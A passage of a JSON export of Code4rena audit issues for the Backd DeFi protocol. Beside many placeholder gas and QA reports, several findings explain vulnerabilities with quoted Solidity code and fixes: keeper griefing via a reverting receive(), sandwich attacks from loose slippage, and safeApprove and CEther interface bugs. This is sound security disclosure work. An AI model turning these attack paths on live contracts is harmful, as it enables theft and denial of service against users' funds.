"reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/204", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/202", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/199", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/198", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Malicious Stakers can grief Keepers", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/194", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/TopUpAction.sol#L727-L729 # Vulnerability details ## Impact A Staker -- that has their top-up position removed after `execute` is called by a Keeper -- can always cause the transaction to revert. They can do this by deploying a smart contract to the `payer` address that has implemented a `receive()` function that calls `revert()`. The revert will be triggered by the following [lines](https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/TopUpAction.sol#L727-L729) in `execute` ```sol if (vars.removePosition) { gasBank.withdrawUnused(payer); } ``` This will consume some gas from the keeper while preventing them accruing any rewards for performing the top-up action. ## Proof of Concept I have implemented a [PoC](https://github.com/sseefried/codearena-backd-2022-04/blob/4d3c3ba7a0139bea01a0bdee9e84a7921572a9fd/backd/tests/top_up_action/sseefried_test_staker_grief.py) in a fork of the contest repo. The attacker's contract can be found [here](https://github.com/sseefried/codearena-backd-2022-04/blob/4d3c3ba7a0139bea01a0bdee9e84a7921572a9fd/backd/contracts/AliceAttacker.sol). ## Tools Used Manual inspection ## Recommend Mitigation Steps To prevent this denial of service attack some way of blacklisting badly behaved Stakers should be added. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/192", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/191", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/188", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/187", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/185", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/183", "labels": ["bug", "G (Gas Optimization)", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/182", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/181", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Lack of `safeApprove(0)` prevents some registrations, and the changing of stakers and LP tokens", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/180", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/TopUpAction.sol#L50 https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/pool/LiquidityPool.sol#L721 # Vulnerability details OpenZeppelin's `safeApprove()` will revert if the account already is approved and the new `safeApprove()` is done with a non-zero value ```solidity function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), \"SafeERC20: approve from non-zero to non-zero allowance\" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } ``` https://github.com/OpenZeppelin/openzeppelin-contracts/blob/fcf35e5722847f5eadaaee052968a8a54d03622a/contracts/token/ERC20/utils/SafeERC20.sol#L45-L58 ## Impact Customers can be prevented from `register()`ing the same `token`/`stakerVaultAddress` as another customer; and once changed away from, stakers and lptokens can't be used in the future. ## Proof of Concept There are multiple places where `safeApprove()` is called a second time without setting the value to zero first. `register()` calls `lockFunds()` for each user registration, and since users will use the same tokens and staker vaults, the second user's `register()` call will fail: ```solidity File: backd/contracts/actions/topup/TopUpAction.sol #1 36 function lockFunds( 37 address stakerVaultAddress, 38 address payer, 39 address token, 40 uint256 lockAmount, 41 uint256 depositAmount 42 ) external { 43 uint256 amountLeft = lockAmount; 44 IStakerVault stakerVault = IStakerVault(stakerVaultAddress); 45 46 // stake deposit amount 47 if (depositAmount > 0) { 48 depositAmount = depositAmount > amountLeft ? amountLeft : depositAmount; 49 IERC20(token).safeTransferFrom(payer, address(this), depositAmount); 50 IERC20(token).safeApprove(stakerVaultAddress, depositAmount); ``` https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/TopUpAction.sol#L36-L50 The changing of either the staker or an lp token is behind a time-lock, and once the time has passed, the changed variables rely on this function: ```solidity File: backd/contracts/pool/LiquidityPool.sol #2 717 function _approveStakerVaultSpendingLpTokens() internal { 718 address staker_ = address(staker); 719 address lpToken_ = address(lpToken); 720 if (staker_ == address(0) || lpToken_ == address(0)) return; 721 IERC20(lpToken_).safeApprove(staker_, type(uint256).max); 722 } ``` https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/pool/LiquidityPool.sol#L717-L722 If a bug is found in a new `staker` or `lpToken` and the governor wishes to change back to the old one(s), the governor will have to wait for the time-lock delay only to find out that the old value(s) cause the code to revert. I've filed the other more-severe instances as a separate high-severity issue, and flagged the remaining low-severity instances in my QA report ## Tools Used Code inspection ## Recommended Mitigation Steps Always do `safeApprove(0)` if the allowance is being changed, or use `safeIncreaseAllowance()` "}, {"title": "Customers cannot be `topUp()`ed a second time", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/178", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/handlers/CompoundHandler.sol#L71 https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/handlers/CompoundHandler.sol#L120 https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/handlers/AaveHandler.sol#L53 https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/TopUpAction.sol#L847 # Vulnerability details OpenZeppelin's `safeApprove()` will revert if the account already is approved and the new `safeApprove()` is done with a non-zero value ```solidity function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), \"SafeERC20: approve from non-zero to non-zero allowance\" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } ``` https://github.com/OpenZeppelin/openzeppelin-contracts/blob/fcf35e5722847f5eadaaee052968a8a54d03622a/contracts/token/ERC20/utils/SafeERC20.sol#L45-L58 ## Impact Customers cannot be topped up a second time, which will cause them to be liquidated even though they think they're protected ## Proof of Concept There are multiple places where `safeApprove()` is called a second time without setting the value to zero first. The instances below are all related to topping up. Compound-specific top-ups will fail the second time around when approving the `ctoken` again: ```solidity File: backd/contracts/actions/topup/handlers/CompoundHandler.sol #1 50 function topUp( 51 bytes32 account, 52 address underlying, 53 uint256 amount, 54 bytes memory extra 55 ) external override returns (bool) { 56 bool repayDebt = abi.decode(extra, (bool)); 57 CToken ctoken = cTokenRegistry.fetchCToken(underlying); 58 uint256 initialTokens = ctoken.balanceOf(address(this)); 59 60 address addr = account.addr(); 61 62 if (repayDebt) { 63 amount -= _repayAnyDebt(addr, underlying, amount, ctoken); 64 if (amount == 0) return true; 65 } 66 67 uint256 err; 68 if (underlying == address(0)) { 69 err = ctoken.mint{value: amount}(amount); 70 } else { 71 IERC20(underlying).safeApprove(address(ctoken), amount); ``` https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/handlers/CompoundHandler.sol#L50-L71 Compound-specific top-ups will also fail when trying to repay debt: ```solidity File: backd/contracts/actions/topup/handlers/CompoundHandler.sol #2 62 if (repayDebt) { 63 amount -= _repayAnyDebt(addr, underlying, amount, ctoken); 64 if (amount == 0) return true; 65 } ``` https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/handlers/CompoundHandler.sol#L62-L65 Aave-specific top-ups will fail for the `lendingPool`: ```solidity File: backd/contracts/actions/topup/handlers/AaveHandler.sol #3 36 function topUp( 37 bytes32 account, 38 address underlying, 39 uint256 amount, 40 bytes memory extra 41 ) external override returns (bool) { 42 bool repayDebt = abi.decode(extra, (bool)); 43 if (underlying == address(0)) { 44 weth.deposit{value: amount}(); 45 underlying = address(weth); 46 } 47 48 address addr = account.addr(); 49 50 DataTypes.ReserveData memory reserve = lendingPool.getReserveData(underlying); 51 require(reserve.aTokenAddress != address(0), Error.UNDERLYING_NOT_SUPPORTED); 52 53 IERC20(underlying).safeApprove(address(lendingPool), amount); ``` https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/handlers/AaveHandler.sol#L36-L53 The `TopUpAction` itself fails for the `feeHandler`: ```solidity File: backd/contracts/actions/topup/TopUpAction.sol #4 840 function _payFees( 841 address payer, 842 address beneficiary, 843 uint256 feeAmount, 844 address depositToken 845 ) internal { 846 address feeHandler = getFeeHandler(); 847 IERC20(depositToken).safeApprove(feeHandler, feeAmount); ``` https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/TopUpAction.sol#L840-L847 I've filed the other less-severe instances as a separate medium-severity issue, and flagged the remaining low-severity instances in my QA report ## Tools Used Code inspection ## Recommended Mitigation Steps Always do `safeApprove(0)` if the allowance is being changed, or use `safeIncreaseAllowance()` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/175", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/174", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/172", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/170", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/168", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "_revokeRole doesn't remove account from roleMember set", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/164", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/access/RoleManager.sol#L155 # Vulnerability details ## Impact The function doesn't remove the address from _roleMembers[role] set, which will mess up with the roleCount ## Proof of Concept ## Tools Used ## Recommended Mitigation Steps ``` _roles[role].members[account] = false; _roleMembers[role].remove(account); ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/163", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/162", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "CvxCrvRewardsLocker implements a swap without a slippage check that can result in a loss of funds through MEV", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/161", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/CvxCrvRewardsLocker.sol#L247-L252 # Vulnerability details ## Impact The CvxCrvRewardsLocker contract swaps tokens through the CRV cvxCRV pool. But, it doesn't use any slippage checks. The swap is at risk of being frontrun / sandwiched which will result in a loss of funds. Since MEV is very prominent I think the chance of that happening is pretty high. ## Proof of Concept Here's the swap: https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/CvxCrvRewardsLocker.sol#L247-L252 ## Tools Used none ## Recommended Mitigation Steps Use a proper value for `minOut` instead of `0`. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/160", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/156", "labels": ["bug", "G (Gas Optimization)", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/154", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/148", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/143", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/137", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/136", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/135", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "[WP-M11] `CEthInterface#mint()` reading non-existing returns makes `topUp()` with native token alway revert", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/125", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/interfaces/vendor/CTokenInterfaces.sol#L345 # Vulnerability details https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/interfaces/vendor/CTokenInterfaces.sol#L345 ```solidity function mint() external payable returns (uint256); ``` `mint()` for native cToken (`CEther`) will return nothing, while the current `CEthInterface` interface defines the returns as `(uint256)`. In the current implementation, the interface for `CToken` is used for both `CEther` and `CErc20`. As a result, the transaction will revert with the error: `function returned an unexpected amount of data` when `topUp()` with the native token (ETH). https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/handlers/CompoundHandler.sol#L57-L70 ```solidity CToken ctoken = cTokenRegistry.fetchCToken(underlying); uint256 initialTokens = ctoken.balanceOf(address(this)); address addr = account.addr(); if (repayDebt) { amount -= _repayAnyDebt(addr, underlying, amount, ctoken); if (amount == 0) return true; } uint256 err; if (underlying == address(0)) { err = ctoken.mint{value: amount}(amount); } ``` Ref: | method | CEther | CErc20 | |----------|------------|-------------| | mint() | revert | error code | | redeem() | error code | error code | | repayBorrow() | revert | error code | | repayBorrowBehalf() | revert | error code | - Compound's cToken mint doc: https://compound.finance/docs/ctokens#mint - Compound CEther.mint() https://github.com/compound-finance/compound-protocol/blob/v2.8.1/contracts/CEther.sol#L46 - Compound CErc20.mint() https://github.com/compound-finance/compound-protocol/blob/v2.8.1/contracts/CErc20.sol#L46 "}, {"title": "[WP-M9] `CEthInterface#repayBorrowBehalf()` reading non-existing returns makes `_repayAnyDebt()` with CEther always revert", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/121", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/interfaces/vendor/CTokenInterfaces.sol#L355-L358 # Vulnerability details https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/interfaces/vendor/CTokenInterfaces.sol#L355-L358 ```solidity function repayBorrowBehalf(address borrower, uint256 repayAmount) external payable returns (uint256); ``` `repayBorrowBehalf()` for native cToken (`CEther`) will return nothing, while the current `CEthInterface` interface defines the returns as `(uint256)`. As a result, `ether.repayBorrowBehalf()` will always revert https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/handlers/CompoundHandler.sol#L117-L118 ```solidity CEther cether = CEther(address(ctoken)); err = cether.repayBorrowBehalf{value: debt}(account); ``` Ref: | method | CEther | CErc20 | |----------|------------|-------------| | mint() | revert | error code | | redeem() | error code | error code | | repayBorrow() | revert | error code | | repayBorrowBehalf() | revert | error code | - Compound cToken Repay Borrow Behalf doc: https://compound.finance/docs/ctokens#repay-borrow-behalf - Compound CEther.repayBorrowBehalf() https://github.com/compound-finance/compound-protocol/blob/v2.8.1/contracts/CEther.sol#L92-L95 - Compound CErc20.repayBorrowBehalf() https://github.com/compound-finance/compound-protocol/blob/v2.8.1/contracts/CErc20.sol#L94-L97 "}, {"title": "[WP-M8] `CompoundHandler#topUp()` Using the wrong function selector makes native token `topUp()` always revert", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/120", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/compound-finance/compound-protocol/blob/v2.8.1/contracts/CEther.sol#L44-L47 # Vulnerability details https://github.com/compound-finance/compound-protocol/blob/v2.8.1/contracts/CEther.sol#L44-L47 ```solidity function mint() external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, \"mint failed\"); } ``` `mint()` for native cToken (`CEther`) does not have any parameters, as the `Function Selector` is based on `the function name with the parenthesised list of parameter types`, when you add a nonexisting `parameter`, the `Function Selector` will be incorrect. https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/interfaces/vendor/CTokenInterfaces.sol#L316 ```solidity function mint(uint256 mintAmount) external payable virtual returns (uint256); ``` The current implementation uses the same `CToken` interface for both `CEther` and `CErc20` in `topUp()`, and `function mint(uint256 mintAmount)` is a nonexisting function for `CEther`. As a result, the native token `topUp()` always revert. https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/handlers/CompoundHandler.sol#L57-L70 ```solidity CToken ctoken = cTokenRegistry.fetchCToken(underlying); uint256 initialTokens = ctoken.balanceOf(address(this)); address addr = account.addr(); if (repayDebt) { amount -= _repayAnyDebt(addr, underlying, amount, ctoken); if (amount == 0) return true; } uint256 err; if (underlying == address(0)) { err = ctoken.mint{value: amount}(amount); } ``` See also: - Compound's cToken mint doc: https://compound.finance/docs/ctokens#mint "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/113", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/109", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/107", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/105", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/103", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Inconsistency between constructor and setting method for slippageTolerance", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/97", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/strategies/StrategySwapper.sol#L38-L43 https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/strategies/StrategySwapper.sol#L109-L114 # Vulnerability details ## Impact in the setSlippageTolerance(L119) method you have certain requirements to set slippageTolerance, but in the constructor you don't. ## Recommended Mitigation Steps I would add the corresponding validations to the constructor "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/94", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/89", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Position owner should set allowed slippage", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/TopUpAction.sol#L154 https://github.com/code-423n4/2022-04-backd/blob/c856714a50437cb33240a5964b63687c9876275b/backd/contracts/actions/topup/TopUpAction.sol#L187 # Vulnerability details ## Impact The default swap slippage of 5% allows malicious keepers to sandwich attack topup. Additionally, up to 40% (_MIN_SWAPPER_SLIPPAGE) slippage allows malicious owner to sandwich huge amounts from topup ## Proof of Concept Keeper can bundle swaps before and after topup to sandwich topup action, in fact it's actually in their best interest to do so. ## Tools Used ## Recommended Mitigation Steps Allow user to specify max swap slippage when creating topup similar to how it's specified on uniswap or sushiswap to block attacks from both keepers and owners "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/84", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/81", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/67", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "Gas Optimizations"}, {"title": "function lockFunds in TopUpActionLibrary can cause serious fund lose. fee and Capped bypass. It's not calling stakerVault.increaseActionLockedBalance when transfers stakes.", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/60", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed", "reviewed"], "target": "2022-04-backd-findings", 